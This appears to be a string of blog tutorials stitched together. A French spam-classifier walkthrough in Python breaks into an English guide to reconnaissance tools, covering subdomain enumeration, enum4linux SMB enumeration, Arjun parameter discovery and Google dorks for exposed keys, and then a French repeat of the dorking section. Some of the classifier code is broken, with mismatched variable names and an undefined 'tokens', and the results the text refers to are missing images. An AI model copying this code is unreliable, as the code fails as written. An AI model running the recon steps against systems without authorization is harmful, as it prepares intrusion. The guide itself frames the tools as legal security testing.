    print("Tokens après tokenization: ",tokens_word)
    return tokens_words

# Exemple
email_text = "On fait un essai avec cet exemple."
tokenize_email(email_text)

On obtient le résultat suivant:

On voit que le texte a bien été traité. Le script a retourné la liste de tokens de la fonction.

Stemming (racinisation) et Lemmatization

Ces deux techniques aident à ramener les mots dérivés d’un autre mot à leur forme de base, pour éviter d'avoir plusieurs versions d'un même mot.

• Stemming: elle consiste à réduire un mot à sa racine (d’où le terme racinisation) sans pour autant produire des mots qui seront valides. Par exemple, les mots "chanter", "chante", "chantait” peuvent être réduits à la racine "chant".

• Lemmatization: elle consiste à ramener un mot à sa forme de base, ce qui donne un mot valide. Par exemple les mots "étudiants", "étudier", et "étudié" qui seraient tous ramenés au mot "étudier".

Dans notre cas, c’est la lemmatization qui sera choisi car on veut garder le sens des mots.

import spacy # Importation de la bibliothèque spaCy pour la lemmatization en anglais et en francais
import nltk
from nltk.tokenize import word_tokenize 

# charger le modèle francais de spaCy
nlp = spacy.load("fr_core_news_sm") 

def lemmatize_email(text):
    tokens_list = tokenize_email(text) #Récupérer les mots sur lesquels on applique la lemmatization 
    lemmatize_list = []

    for token in tokens_list:
        # Lemmatization
        doc = nlp(" ".join(tokens))  #transformer les tokens en un document SpaCy
        lemmatized_tokens = [token.lemma_ for token in doc]
        lemmatize_list .append(lemmatized_tokens)

    print("Tokens après lemmatization: ",lemmatize_list)
    return lemmatize_list 

# Exemple d'utilisation
text = "Les étudiants n'aiment pas l'examen, mais ils doivent l'étudier."
lemmatize_email(text)

L’utilisation de spaCy nécessite l’exécution des commandes suivantes:

pip install spacy
python -m spacy download fr_core_news_sm

On obtient le résultat suivant:

On peut voir que la lemmatization a fonctionné:

• “étudiants“ devient “étudiant“

• “doivent“ devient “devoir“

• “n’aiment“ devient “ne aimer“ et “l’étudier“ devient “le étudier“

  • spaCy sépare le “n“ en “ne“

  • il sépare aussi “l“ et “étudier“

  • “l’ “ et “n’ “ sont ensuite lemmatisés à leur forme originale “le“ et “ne“

• “les“ est aussi lemmatisé en “le“, ce qui est normal en francais

Vectorisation

La vectorisation est la prochaine étape. Elle consiste à transformer les mots ou les phrases obtenues des étapes précédentes en une représentation numérique qui sera comprise par les modèles d’IA, car ceux-ci ne peuvent pas directement comprendre du texte brut.

Il existe plusieurs méthodes de vectorisation de texte:

• Bag of Words (BoW) : elle consiste à compter le nombre d’occurence d’un mot dans le texte au complet. Chaque mot est donc associé à une valeur numérique qui représente le nombre de fois où il apparaît dans le texte. Chaque phrase devient un vecteur basé sur la fréquence de ces mots.

  Prenons l’exemple des deux phrases suivantes: “Je mange du pain“ et “Le pain du boulanger“. Un vocabulaire est d’abord crée pour tous les mots dans les deux phrases.

  Vocabulaire : [“Je“, “mange“, “du“, “pain“, “Le“, “boulanger“]

  Vecteur 1 : [1, 1, 1, 1, 0, 0]

  Vecteur 2 : [0, 0, 1, 1, 1, 1]

• TF-IDF (Term Frequency - Inverse Document Frequency): elle consiste à déterminer l’importance d’un mot dans un document en fonction de sa fréquence dans le texte et de sa rareté dans l’ensemble du corpus . Elle combine deux mesures:

  • Term Frequency (TF) est la fréquence d’un mot dans un texte. Donc plus un mot est comptabilisé dans un texte, plus sa valeur TF est élevée.

  • Inverse Document Frequency (IDF) évalue l’importance d’un mot dans le corpus en tenant compte de sa rareté dans celui ci. Donc, moins un mot apparaît, plus sa valeur IDF est élevée.

Dans le cas de notre exercice pour le modèle qui détecte les spams, il est donc plus efficace d’utiliser TF-IDF.

from sklearn.feature_extraction.text import TfidfVectorizer #Importer la bibliothèque

def vectorize_email(text):
    # Récupérer les tokens après lemmatisation
    lemmatized_tokens_list = lemmatize_email(text)

    # Transformer la liste de tokens en phrases séparées
    emails = [" ".join(email) for email in lemmatized_tokens_list]

    print("Texte à vectoriser :", emails)

    # Initialiser le vectorizer TF-IDF
    vectorizer = TfidfVectorizer()
    #vectorizer = TfidfVectorizer(stop_words='english')


    #On applique la vectorization ici sur la liste de phrases
    tf_idf = vectorizer.fit_transform(emails)

    #On affiche les termes retenus par TF-IDF
    #Ces termes correspondent au tableau plus bas.
    print("Mots clés : ", vectorizer.get_feature_names_out())

    #On convertit la matrice en tableau plus lisible
    #Chaque ligne du tableau représente un document et chaque colonne représente un mot parmi ceux à vectorizer
    print("Matrice TF-IDF : \n", tf_idf.toarray())

    #Ici on vérifie les mots qui auraient été supprimés lors du processus de vectorisation TF-IDF
    tokens_set = set(word for email in lemmatized_tokens_list for word in email)  # Mots initiaux
    tf_idf_set = set(vectorizer.get_feature_names_out())
    mots_supprimes = tokens_set - tf_idf_set
    print("Mots supprimés :", mots_supprimes)

    return tf_idf


# Exemple d'utilisation
text = [ "Les étudiants n'aiment pas l'examen, mais ils doivent l'étudier. ",
 "L'examen final est prévu pour lundi matin."]
vectorize_email(text)

On obtient le résultat suivant:

On voit que le TF-IDF a extrait les mots du document à vectorizer et chaque mot apparaît juste une fois dans la liste des mots clés. Chaque ligne de la matrice correspond à une phrase (matrice [] ). Le vecteur TF-IDF contient une matrice par texte; ce qui sera pratique dans notre cas car on voudrait séparer et vectoriser chaque email.

Entraînement et évaluation du modèle

Après que les e-mails aient été transformés en vecteurs numériques, ils sont préparés à être analysés par le modèle. Les vecteurs TF-IDF obtenus précédemment servent maintenant à apprendre au modèle à distinguer spam et non-spam. Il faut maintenant choisir un modèle adapté à notre exercice. Pour cela on peut utiliser un des modèles suivants:

• Naive Bayes: c’est un algorithme de classification de texte. Il utilise des probabilités pour classer les textes, en supposant que les mots sont indépendants.

• Logistic Regression: c’est une méthode de classification binaire qui prédit la probabilité qu’une instance appartienne à une classe donnée.

Avec les scores TF-IDF obtenus, on pourra entraîner le modèle choisi.

Ici, nous utiliserons Naive Bayes, car il est plus efficace pour les situations de classification de texte courts et aussi avec une petite base de données.

from sklearn.naive_bayes import MultinomialNB  # Import modèle Naïve Bayes
from sklearn.model_selection import train_test_split  # Pour diviser les données en train/test
from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score #Importer les fontios d'évaluation
import numpy as np

def eval_model(X,y):

    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

    # Initialiser le classificateur Naive Bayes
    model = MultinomialNB()

    # Entraîner le modèle
    model.fit(X_train, y_train)

    # Prédire sur l'ensemble de test
    y_pred = model.predict(X_test)

    # Évaluer le modèle
    accuracy = accuracy_score(y_test, y_pred)
    precision = precision_score(y_test, y_pred, pos_label=1)
    recall = recall_score(y_test, y_pred, pos_label=1)
    f1 = f1_score(y_test, y_pred, pos_label=1)

    print(f"Accuracy: {accuracy:.2f}")
    print(f"Precision: {precision:.2f}")
    print(f"Recall: {recall:.2f}")
    print(f"F1 Score: {f1:.2f}")

    return model


email_texts = [
    "Bonjour, veuillez confirmer votre compte en cliquant ici.",  # Non-spam
    "Gagnez 10 000 $ maintenant ! Cliquez ici pour en profiter.",  # Spam
    "Votre rendez-vous est confirmé pour demain.",  # Non-spam
    "Achetez maintenant, offre exclusive à durée limitée !",  # Spam
    "Votre facture est disponible, veuillez vérifier.",  # Non-spam
    "Offre spéciale ! Achetez deux et obtenez-en un gratuit.",  # Spam
    "Votre mot de passe a été modifié avec succès.",  # Non-spam
    "Cliquez ici pour obtenir une remise immédiate !",  # Spam
    "La réunion est prévue pour jeudi prochain.",  # Non-spam
    "Investissez maintenant et doublez vos gains !"  # Spam
]

# Étiquettes associées : 0 pour non-spam, 1 pour spam
y = [0, 1, 0, 1, 0, 1, 0, 1, 0, 1]

#Vecteurs TF-IDF des e-mails.
X = vectorize_email(email_texts)

# Appel de la fonction pour évaluer le modèle
model = eval_model(X, y)

Explication du code

Ce code permettra d’entraîner le modèle Naive Bayes pour classifier les courriels en spam et non-spam, et ainsi évaluer ses performances. On utilise les données afin d’entraîner le modèle choisi. Vu qu’on souhaite détecter les courriels qui sont des spam de ceux qui ne le sont pas, il faut donc lui apprendre les caractéristiques des emails classés comme spam ou non.

• X contient les vecteurs TF-IDF des courriels, qui est obtenu après la vectorisation. Le texte est transformé en valeurs numériques à l’aide de TF-IDF pour que le modèle puisse l’analyser.

• y est la liste des étiquettes (labels) associées aux e-mails

• X_train représente les emails transformés en vecteurs avec la technique de vectorisation TF-IDF

• y_train représente les étiquettes, 1 pour spam et 0 pour non-spam, pour chaque instance de X_train

• test_size=0.3 signifie que 30% des données seront utilisés pour le test et le 70% restant pour l’entraînement

• la fonction model.predict sert à prédire les étiquettes des courriels dans la variable X_test

• y_pred est la liste des prédictions effectuées par le modèle.

Voici un détail des fonctions d’évaluation:

• accuracy_score permet de calculer la précision globale du modèle ( le nombre d'exemples correctement classifiés sur le nombre total d’exemples)

• precision_score permet de mesurer la précision pour la classe positive c’est-à-dire parmi les emails prédits comme spams, ceux qui l’étaient réellement. C’est le rapport entre les vrais positifs et la somme des vrais positifs (TP True Positives) et des faux positifs (FP False Positives) TP + FP.

• recall_score mesure le pourcentage de positifs prédits par le modèle. Il indique parmi tout les courriels qui sont réellement du spam, combien ont été correctement détectés.

• f1_score calcule la moyenne harmonique entre la précision (precision) et le rappel (recall). C’est une métrique qui permet de donner une évaluation sur la performance du modèle. Un F1 score de 1 indique une parfaite précision et rappel, alors qu'un score de 0 indique que le modèle a échoué à prédire les résultats attendus.

On obtient le résultat suivant:

• Accuracy: 0.67 signifie que 67 % des e-mails ont été correctement classés comme spam ou non-spam. Donc, sur 10 e-mails, 6-7 sont correctement classés.

• Precison: 1.00 signifie que 100 % des e-mails marqués comme spam sont vraiment des spams.

• Recall: 0.50 signifie que le modèle n'a détecté que 50 % des vrais spams. Donc la moitié des spams ont été oubliés (faux négatifs).

• F1 Score 0.67 est le score globlal. Donc on peut dire que le modèle a une performance acceptable.

Test

Pour l’étape de test, on récupère les données de SpamAssassin. Les fichiers d’emails récupérés puis sont étiquetés sous forme de dossiers:

• spam : emails indésirables

• ham : emails non spam

On télécharge les emails sur le site officiel de SpamAssassin , et ensuite les décompresser avec des outils comme 7zip.

Il faut maintenant tester le modèle. On veut donc lui donner des e-mails et voir comment il réagit.

Exemple de spams

Exemple de ham

On obtient le résultat suivant:

• Accuracy: 0.67 : 67% des emails sont bien classifiés.

• Precision: 0.60 : 60% des emails prédits comme spam sont réellement des spams.

• Recall: 1.00 : Le modèle détecte tous les spams correctement (aucun spam manqué).

• F1 Score: 0.75

Conclusion

Dans ce projet, nous avons utilisé un modèle Naive Bayes pour classifier les e-mails en spam et non-spam. Après avoir vectorisé les e-mails avec la technique TF-IDF, le modèle a été entraîné sur des données annotées pour apprendre à reconnaître les spams. Grâce à l’apprentissage automatique, le modèle peut ensuite prédire automatiquement si de nouveaux e-mails sont des spams. N’hésitez pas à partager vos avis :)

Source

• Qu'est-ce qu'un dataset ? | Databricks

• Classifying data using the Multinomial Naive Bayes algorithm - IBM Developer

• Recall, Precision, F1 Score - Explication Simple Métrique en ML

• NLTK stop words - Python Tutorial

Crt.sh

Crt.sh is an online tool that allows you to search for and view SSL/TLS certificates for various domains. It can also be used to find subdomains. By searching for a main domain, you can see the certificates associated, but also those issued for its subdomains.

Virus Total

VirusTotal is an online search tool that allows you to analyze files and URLs to detect potential viruses. It performs a complete scan by using multiple antivirus engines et URLs detection tools. It can also be used to search for subdomains et other information.

The subdomains associated to the search will be listed in the Relations tab. The image below shows a list of subdomains associated with Amazon.ca

Amass

Amass is a tool developped by OWASP (Open Web Application Security Project) that is used for identifying subdomains and IP addresses associated by using public sources such as APIs, SSL certificates, DNS, etc.

The official documentation can be found on GitHub.

To install Amass, use the following command:

go install -v github.com/owasp-amass/amass/v4/...@master

Options

• amass enum : this mode is used to enumerate subdomains by using public sources and active reconnaissance technique

• amass intel : this mode is used to discover domains and others assets that can be explored in more details during the enumeration process.

• amass enum -d website.com -active -brute -aw /PATH -bl “word“

  • the -d option specified the domain fow which we want to enumerate subdomains

  • the -active option allows to discover active subdomains

  • the -aw option allows you to specify a wordlist file that will be used for altering the names of subdomains. This enables dynamic modification of subdomains by adding terms to the subdomain names that are not visible in standard DNS results.

  • the -bl option allows you to specify domains to exclude from the search

The image below shows the Amass command used, which discovered several pieces of information, including MX, A, AAAA records, and several other subdomains. It also includes ASN information from CloudFlare, which likely manages the IP addresses of these subdomains.

Chaos projectdiscovery

Chaos is a project by ProjectDiscovery that provides information on subdomains. It has a database with a large number of subdomains for public domains, which is regularly updated.

Simply download the .zip file to obtain a list of subdomains associated with the term or domain in the search.

Chaos ProjectDiscovery is an open-source project and can also be used via GitHub. Using this tool with the command-line API is much more flexible and powerful in terms of searches. By using the command-line tool, you get a more comprehensive list, unlike the web version, which may not return any results for certain domains.

To install it, use the following command:

go install -v github.com/projectdiscovery/chaos-client/cmd/chaos@latest

Options

• chaos -h: This option lists all the available options for Chaos ProjectDiscovery.

• export PDCP_API_KEY=[API_KEY]:

  • this option allows you to specify the API key, which can be obtained simply by signing up on the website

  • the API key must be specified for using the command-line tool.

• chaos -d [site.com] -count -o list.txt

  • the -d option specifies the domain to analyze.

  • the -count option displays the number of subdomains without listing them.

  • the -o option specifies a file (in this case, list.txt) to store the output.

• chaos -dL [list_domains.txt] -json | grep [STRING] > list.txt

  • the -dL option specifies a file containing a list of domains to analyze.

  • the -json option displays the output in JSON format.

  • the grep option filters the search results according to the defined string and saves them in the file list.txt.

Subfinder

Subfinder is a subdomain enumeration tool written in the Go programming language, developed by ProjectDiscovery. It is used to perform passive enumeration of subdomains for a target domain, meaning it uses public online sources to identify subdomains without directly interacting with the target servers. It utilizes sources such as Censys, Chaos, Recon.dev, Shodan, Spyse, Virustotal, and others.

The official documentation can be found on GitHub.

To install Subfinder, use the following command:

go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

Options

• subfinder -h: the -h option lists all the options available for Subfinder.

• subfinder -ls: the -ls option lists all possible data sources.

• subfinder -d [site.com] -all -json -cs -o [list.txt]:

  • the -d option specifies the domain to analyze.

  • the -all option uses all sources for enumeration.

  • the -json option displays the output in JSON format.

  • the -cs option shows the source in the command result.

  • the -o option saves the results to a file.

Here, the domain hackerone.com is analyzed, displaying the sources of each subdomain with the -cs option, and excluding sources from the Google server 8.8.8.8 with the -es option.

• subfinder -dL [list_domains.txt] -s/-es [SOURCES] -rl [INT]

  • the -dL option specifies a file containing a list of domains to analyze.

  • the -s option specifies the sources to use during the search.

  • the -es option excludes sources during the search.

  • the -rl option determines the number of HTTPS requests per second, which limits and prevents overload.

• subfinder -d hackerone.com --active -oI

  • the --active or -nW option checks subdomains in real-time. It verifies if the subdomains are active and responsive; otherwise, they are not listed.

  • the -oI or -ip option includes the IP addresses of the subdomains in the result. This option is only used in combination with the --active or -nW option.

Assetfinder

Assetfinder is also a tool developed in the Go programming language, used to enumerate subdomains associated with a primary domain. It uses sources such as Certspotter, Hackertarget, Facebook, Virustotal, etc.

The official documentation can be found on GitHub.

To install Assetfinder, use the following command:

go install github.com/tomnomnom/assetfinder

Options

• assetfinder -h: the -h option lists all the options available for Assetfinder.

• assetfinder -subs-only [SITE.COM] > list.txt:

  • the -subs-only option limits the output to subdomains of the target domain. This is the only option available for Assetfinder.

Sublist3r

Sublist3r is a subdomain enumeration tool that uses search engines and other online sources. It integrates the tool Subbrute, a brute force tool for subdomain enumeration, to enhance the ability to find more subdomains. Subbrute uses an improved wordlist to systematically test potential subdomains.

The official documentation can be found on GitHub.

To install Sublist3r, use the following command:

git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
pip install -r requirements.txt

Options

• python sublist3r.py -h: the -h option lists all the options available for Sublist3r.

• python sublist3r.py -b -d [site.com] -p 80,21 -o result.txt:

  • the -d option specifies the target domain.

  • the -b option enables brute force mode, which helps discover subdomains.

  • the -p option specifies the ports to test to check if a subdomain is active on these ports.

  • the -o option saves the results to a file

• python sublist3r.py -e google,virustotal -v -d [site.com]:

  • the -e option allows you to specify the search engine to use.

  • the -v option enables verbose mode, which displays more details during script execution and shows subdomains in real-time.

The command executed below enumerates the subdomains of google.com and enables verbose mode, allowing subdomains to be displayed in real-time.

The command searches for subdomains from multiple sources, including Baidu, Yahoo, Google, Bing, SSL Certificates, etc.

OneForAll

OneForAll is a subdomain enumeration tool used to list the subdomains of a primary domain. This tool uses several techniques such as DNS resolution, brute-forcing subdomains, and also collects data from public sources that other tools do not typically query. OneForAll addresses the power or efficiency issues that can be seen with other tools.

The official documentation can be found on GitHub.

To install OneForAll, use the following commands:

First, check the versions of Python and pip3. The Python3 version must be greater than 3.6.0, and the pip3 version must be greater than 19.2.2.

python -V
pip3 -V

Clone the project repository

git clone https://github.com/shmilylty/OneForAll.git

Create a virtual environment to separate the installation from your Python environment.

virtualenv -p python3 .venv
source .venv/bin/activate

Install the dependencies.

cd OneForAll
python3 -m pip install -U pip setuptools wheel
pip3 install -r requirements.txt

Options

• python3 oneforall.py -h: This option lists all the options available for OneForAll.

• python oneforall.py --target [site.com] --brute FALSE --dns FALSE --valid TRUE run:

  • the--target option specifies the URL or domain to analyze.

  • the --brute option enables/disables the brute force module for searching subdomains. By default, this option is enabled.

  • the --dns option enables/disables DNS resolution during subdomain analysis. This option is also enabled by default.

  • the --valid option specifies that only active and valid subdomains will be considered. The tool will query each subdomain to verify their validity.

• python oneforall.py --targets list_urls.txt --takeover TRUE --path /PATH/TO/FILE run:

  • the --targets option specifies a list of domains contained in a file.

  • the --takeover option checks if a found subdomain is vulnerable to subdomain takeover. This option is crucial for identifying misconfigured subdomains and is disabled by default.

  • the --path option specifies the file path where the subdomain collection results will be stored. If a file is not specified, OneForAll will automatically generate a results file.

  • As shown in the image below, the tool automatically generates a .csv file listing the results in the /results folder.

Interpretation of results.

The results of the OneForAll command on https://hackerone.com show the executed modules and the number of subdomains found. For example, with the results of this query, it is observed that the CertInfo module found 4 subdomains in 0.1 seconds, access to the site dnsgrep.cn was denied (status 403), among other information.

The servers a.ns.hackerone.com and b.ns.hackerone.com were also found, which allowed the retrieval of IP addresses 162.159.0.31 and 162.159.1.31.

The found subdomains will be listed in the /results folder by default in a CSV file, which can be complex to read. You can format the columns for display using the column and less commands:

column -s, -t < hackerone.com.csv | less -#2 -N -S

• the -s, option (with a comma following -s) specifies that the comma (,) is the delimiter separating columns in the CSV file.

• the -t option tells column to create a table with aligned columns.

• < hackerone.com.csv redirects the content of the hackerone.com.csv file as input for the column command.

• less -#2 -N -S paginates the output with less, displays line numbers with -N, allows horizontal scrolling with -S, and sets tab spacing to 2 with -#2. You can exit the display by pressing the q key.

The file with the results in a standard display appears as follows:

The display transitions from the image above to those below using the command column -s, -t < hackerone.com.csv | less -#2 -N -S.

Subdomain enumeration is a crucial step in information gathering, allowing the identification of parts of a domain that might be misconfigured or vulnerable. With tools like OneForAll, Subfinder for passive search, Assetfinder for its speed, and Sublist3r for combining passive search and brute force, valuable information about a domain's infrastructure can be obtained.

It is important to note that the use of these tools should always be conducted within a legal framework.

Google Dorking

Google Dorking is a search technique that uses advanced queries to find sensitive information that isn’t accessible through a standard Google search. It helps narrow down the results to uncover web pages, files, and other hidden data.

Options

• <keyword> site:www.website.com filetype:pdf

  • site: limits the search to the specified website.

  • filetype: searches for specific file types, like PDFs in this case.

• intitle:<keyword> inurl:<keyword> cache:<keyword>

  • intitle finds web pages where the specified keyword appears in the title.

  • inurl: searches for web pages with the keyword in the URL. This is useful for finding specific pages, directories, or files that include the keyword.

  • cache: displays the cached version of a web page, essentially a backup saved by a search engine. Often used to view pages that have been deleted but are still accessible in the search engine’s cache. Also helpful for seeing how a site looked before major changes.

In the image below, we can see that the search only returns PDFs file that have “bug bounty“ term in their titles

We can use Google Dorks for more sensitive informations.

• intitle:"index of" "server-status" site:www.website.com: this query searches for pages on the site that contains “index of“ and “server-status“ in the title. This can provide some informations about the server or web server status pages.

• "public" "key" filetype:pem site:www.website.com : this query is used to search for PEM files on the site that contains the words “public“ and “key“. Theses files are often used to store cryptography keys. So, we can potentially find exposed public keys

Google Dorks can be effective means to identify vulnerabilities in a system. There are also files and lists available on Internet containing Google Dorks fot various searches.

Bug Bounty Search Engine

BugBountySearchEngine is a search engine that consolidates many methods for searching vulnerabilities and sensitive information on domains, websites, and even individuals. It offers options to find configuration or backup files, exposed databases, subdomains, and more. You can also search for specific datas on public sources like Github, Shodans, Censys and more.

The tool is availaible here.

To use it, enter a target domain in the textbox. Then select one of the predefined searches based on the information you are looking for.

Github Recon

Github Recon is a technique used to search information on projects, organizations or even individuals by exploring Github repositories. It involves analyzing commit histories and monitoring activities to discover sensitive information. You can also use Github Dorks to refine searches. Sometimes, developers may accidentally leave sensitive information such as API keys, default passwords, and more.

In the search bar, just enter the desired dorks or queries. Then, examine the code and commits to gather information that can be useful.

Censys

Censys is a search engine and plateform that contains data from various sources about internet-connected infrastructures. It provides real-time data and returns informations on devices, services or domains. It can therefore be very useful in a process of gathering information on a target.

Censys is used to collect information such as IP adresses, services and open ports. With advanced filters, we can refine the results according to the labels (IPv6 hosts, remote access, email, etc…), server locations, and software providers (Amazon, Akamai, Google, Apache, nginx).

By doing a Google search, you can see that you have access to a lot of information, and the search result returns a lot of hosts that could be analyzed.

By selecting a host, you can access additional information such as routing, services, location, associated event history, and a Whois tab that provides details about the owner of the IP address.

Enum4Linux

Enum4linux is an enumeration tool used to extract data from systems using the SMB (Server Message Block) protocol. It allows the collection of various information about user accounts, domain names, local groups, and shared folders on a network.

Options

• enum4linux -U -S -P -G [ip_adress]

  • The -U option lists the users on the target system.

  • The -S option lists the available shares on the target system.

  • The -P option displays the password policy.

  • The -G option lists the groups on the system.

  • The -a option combines all options (-U -S -G -P -r -o -n -i). It is the default option when none is selected.

• enum4linux -u [username]-p [password] -U [ip_adresss]

  • The -u and -p options specify a username and a password.

You can see several users on the system: Administrator, Guest, etc.

Enum4linux can be very useful because information such as users, file shares on the network, and groups and permissions can be exploited to identify potential vulnerabilities.

WaybackURL

WaybackURL is a service that allows access to old or archived versions of websites using the Internet Archive, a web page archiving service. It is used to view old versions of websites, and even if they have been modified, they may still contain vulnerabilities that have not been fixed or are still accessible through these archives.

The official documentation can be found on GitHub.

To install WaybackURL, use the following command:

go install github.com/tomnomnom/waybackurls@latest

Options

• waybackurls -h: The -h option lists all the options for waybackurls.

• waybackurls https://site.com -dates | grep [word]

  • the -dates option displays the archival date of each URL.

  • grep filters the results to show only the URLs containing the term "word".

• cat domains.txt | waybackurls | grep -vE "\.(js|txt)$" > urls.txt

  • This command reads the file domains.txt and pipes the output to waybackurls. The results are then stored in the file urls.txt.

  • The -vE option excludes lines matching the expression specified immediately after (with the -v option) and enables extended regular expressions (with the -E option).

  • The expression "\.(js|txt)$" is used to match strings that end with .js or .txt.

  • Therefore, this command will list the archived URLs, excluding those that end with .js or .txt.

• echo "https://hackerone.com" | waybackurls -no-subs

• The -no-subs option excludes subdomains of the target domain from the results.

• This command will display all archived URLs of hackerone.com.

Gowitness

Gowitness is a tool used to take screenshots of websites, collect information on HTTP headers, and create reports on visited sites in an automated manner.

This tool, although it might seem "useless" because one could simply visit the web pages, is actually very practical when there are multiple sites to check without wasting a lot of time opening them one by one.

To install Gowitness, use the following command:

go install github.com/sensepost/gowitness@latest

Options

• gowitness -h: This option lists all the options for gowitness.

• gowitness scan -h: Shows the available options for performing scans.

• gowitness scan single --url https://google.com --screenshot-path ./PATH --screenshot-format png --screenshot-fullpage:

  • The --url option specifies the URL to capture.

  • The --screenshot-path option sets the path where the screenshot will be saved.

  • The --screenshot-format option sets the format of the screenshot. The default is JPEG, but only JPEG and PNG are valid formats.

  • The --screenshot-fullpage option captures the entire page, rather than just the visible part. This is useful for pages with a lot of scrolling content.

• gowitness scan file -f ./PATH --log-scan-errors --write-db

  • The file -f option specifies a file containing a list of URLs to display.

  • The --log-scan-errors option reports errors that occurred during the scans.

  • The --write-db option saves the results in a database for later consultation.

The image below shows the execution of a command with gowitness. Messages indicate a failed attempt via port 80 for unsecured HTTP connections. However, the connection succeeded via port 443 for HTTPS connections, with screenshots taken.

KarmaV2

KarmaV2 is an OSINT reconnaissance tool that allows you to find public and in-depth information about a target. The official documentation can be found on GitHub.

You can install KarmaV2 with the following commands.

1. Clone the repository:

     git clone https://github.com/Dheerajmadhukar/karma_v2.git
   

2. Install Shodan and the Python module mmh3.

     python3 -m pip install shodan mmh3
   

3. Install the JSON parser JQ if it is not already installed.

     apt install jq -y
   

4. Install httprobe

     go install -v github.com/tomnomnom/httprobe@master
     cd httprobe
     go build main.go
     mv main httprobe
     sudo mv httprobe /bin/
   

5. Install Interface

     git clone https://github.com/codingo/Interlace.git
     cd Interlace
     pip install -r requirements.txt
     sudo python3 setup.py install
   

6. Install Nuclei

     go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
   

7. Install Lolcat

     apt install lolcat -y
   

8. Install anew

     git clone https://github.com/tomnomnom/anew.git
     cd anew
     go build main.go
     mv main anew
     sudo mv anew /bin/
   

9. Create an account on Shodan.io to obtain your Shodan API key.

   Insert the key into the .token file in the /karma_v2 directory.

     nano ./token
     SHODAN_API_KEY_FROM_SHODAN
   

10. Run karma with the following command

    bash karma_v2 -h
    

Depending on your system, you may need to run karma_v2 in a virtual environment.

Options

• bash karma_v2 -h: To see the list of all options for Karma_v2.

• bash karma_v2 -d [DOMAIN] -l [INT] -ip -cve

  • The -d option specifies the domain.

  • The -ip option searches for IP addresses associated with this domain.

  • The -l option specifies the number of results to return. You can specify -1 to indicate an unlimited number of results.

  • The -cve option searches for vulnerabilities associated with the domain.

• The options -d, -l, and the mode options (-ip, -asn, -cve, etc.) are required to run karma_v2.

• The -deep option supports all options: count, ip, asn, cve, favicon, leaks.

Crunchbase

Crunchbase is a paid platform that provides information on companies and investors. It offers data that allows for the analysis of company acquisitions in the market, such as startups, as well as information about company members.

Arjun

Arjun is a tool that helps discover hidden HTTP parameters in GET and POST requests that could be vulnerable in web applications. It identifies potential entry points for attacks by testing multiple possible parameters. For context, GET and POST requests are methods for sending data to a web server. The GET method sends data via the URL, meaning it appears in the browser's address bar. The POST method sends data in the body of the HTTP request, making it invisible in the URL. Arjun is used to search for these parameters in applications.

The official documentation can be found on GitHub.

To install Arjun, use the following command:

pipx install arjun

Options

• arjun -h: This option displays all the options for the tool.

• arjun -u http://website.com -m POST -o output.json -oB

  • The -u option specifies the site to analyze.

  • The -o option saves the data to a file.

  • The -m option sets the HTTP method to use for the request. Valid formats are GET or POST for the HTTP method and JSON or XML for the request body.

  • The -oB option redirects traffic through Burp Suite for analysis. By default, Burp listens on 127.0.0.1:8080, allowing you to view the requests and responses intercepted by Burp.

• arjun -i urls.txt -w /PATH/TO/FILE --include “token=qwerty“

  • The -i option specifies a file with a list of URLs to analyze.

  • The -w option allows you to specify a file containing a list of words. This list includes potential parameter names that Arjun will use to test the target URL. By default, the tool uses a built-in word list located at {arjundir}/db/large.txt.

  • The --include option allows you to insert data for each request. The variable token with a specific value is used in applications requiring authentication tokens. You can include any type of data, such as API keys, authentication keys, and others.

  • You can also use the options -m XML --include='<?xml><root>$arjun$</root>' to include a specific XML structure in the request. The marker $arjun$ is where the tool will insert the parameters it tests.

Interpretation of the results.

The image above shows the command arjun -u http://testphp.vulnweb.com/listproducts.php -oB -o output.json executed.

It shows that the command identified the parameters artist and cat in the response body.

For the -oB option to work, Burp must be open and configured to intercept requests. You can open a terminal and launch Burp with the command burpsuite. Go to the Proxy settings and ensure that the proxy address in Burp is configured to 127.0.0.1:8080. Then, enable interception.

You can see two query parameters, "cat=111110" and "artist=11111", along with other details such as the host, client software, etc.

These tools are suitable for the reconnaissance phase in a security test or bug bounty, where the goal is to discover potential vulnerabilities by gathering data on the target.

It is important to note that the use of these tools should always be conducted within a legal framework.

Dans un contexte de BugBounty ou de test de sécurité, la collecte d’informations est une étape qui consiste à recueillir un maximun de données sur une cible. Le but est de mieux comprendre son environnement et surtout identifier des vulnérabilités potentielles. Elle utilise des techniques variées dont certaines seront détaillées par la suite.

Google Dorking

Le Google Dork est une technique de recherche qui utilise des requêtes avancées afin de trouver des informations sensibles, non accessibles via une recherche Google standard. Cela permet d’affiner la recherche pour découvrir des pages web, des fichiers et d’autres données cachées.

Options

• <keyword> site: www.website.com filetype:pdf

  • site: effectue la recherche du keyword seulement sur le site spécifié.

  • filetype: recherche un type de fichiers spécifiques, ici les pdf.

• intitle:<keyword> inurl:<keyword> cache:<keyword>

  • intitle: recherche des pages web dont le titre contient le mot spécifié

  • inurl: recherche les pages web dont l’URL contient le mot spécifié. Cette technique permet de retrouver des pages spécifiques, des répertoires ou des fichiers qui incluent le mot-clé.

  • cache: permet d’afficher la version en cache d’une page web. C’est à dire elle affiche une copie sauvegardée par un moteur de recherche.

    Elle est souvent utilisée pour afficher une page qui a été supprimée, mais toujours visible dans le cache du moteur de recherche. Ou encore voir comment un site apparaissaît avant des modifications majeures.

Sur l’image ci-dessous, on peut voir que la recherche retourne juste des fichiers PDF qui ont le terme "bug bounty" dans le titre.

On peut utiliser des Google Dorks pour des informations plus sensibles.

• intitle:"index of" "server-status" site:www.website.com : cette requête recherche des pages sur le site dont le titre contient ”index of ” et “server-status“. Cela peut permettre d’avoir des informations sur le serveur ou des pages de statut de serveur.

• "public" "key" filetype:pem site:www.website.com : pour rechercher des fichiers de type PEM sur le site contenant les mots “public" et “key". Ces fichiers sont souvent utilisés pour stocker des clés pour la cryptographie. On pourrait donc potentiellement retrouve des clés publiques exposées.

Les Google Dorks peuvent être des moyens efficaces pour identifier des vulnérabilités sur un système. Il existe aussi des fichiers et des listes disponibles sur Internet contenant des google Dorks pour diverses recherches.

Bug Bounty Search Engine

